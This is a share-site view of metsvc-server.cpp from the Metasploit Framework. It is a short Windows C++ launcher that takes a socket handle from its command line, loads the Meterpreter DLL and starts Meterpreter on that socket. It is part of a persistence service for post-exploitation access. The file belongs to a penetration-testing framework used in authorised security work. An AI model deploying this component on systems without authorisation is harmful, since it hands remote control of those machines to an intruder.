CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/metsvc/src/metsvc-server.cpp
Views: 11780
1
/* Copyright (c) 2007, Determina Inc.
2
* All rights reserved.
3
*
4
* Redistribution and use in source and binary forms, with or without
5
* modification, are permitted provided that the following conditions
6
* are met:
7
*
8
* 1. Redistributions of source code must retain the above copyright
9
* notice, this list of conditions and the following disclaimer.
10
* 2. Redistributions in binary form must reproduce the above copyright
11
* notice, this list of conditions and the following disclaimer in the
12
* documentation and/or other materials provided with the distribution.
13
* 3. Neither the name of Determina Inc. nor the names of its contributors
14
* may be used to endorse or promote products derived from this software
15
* without specific prior written permission.
16
*
17
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
18
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
19
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
20
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
21
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
23
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
24
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
25
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
26
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
27
* POSSIBILITY OF SUCH DAMAGE.
28
*/
29
30
#include <windows.h>
31
32
#include "metsvc.h"
33
34
typedef DWORD (*init_fn)(SOCKET fd);
35
36
int main(int argc, char **argv)
37
{
38
HMODULE lib;
39
init_fn init;
40
WSADATA wsa_data;
41
SOCKET sock = INVALID_SOCKET;
42
43
// The socket is passed as the first argument on the command line
44
45
if (argc != 2)
46
goto cleanup;
47
48
sock = atoi(argv[1]);
49
50
// Initialize Winsock
51
52
if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
53
goto cleanup;
54
55
// Load the Meterpreter DLL and get the address of the Init function
56
57
if ((lib = LoadLibrary(METSRV_DLL)) == NULL)
58
goto cleanup;
59
60
if ((init = (init_fn)GetProcAddress(lib, "Init")) == NULL)
61
goto cleanup;
62
63
// Start the Meterpreter
64
65
__try {
66
init(sock);
67
} __except(EXCEPTION_EXECUTE_HANDLER) {
68
closesocket(sock);
69
return 0;
70
}
71
72
cleanup:
73
if (sock != INVALID_SOCKET)
74
closesocket(sock);
75
76
return 0;
77
}
78
79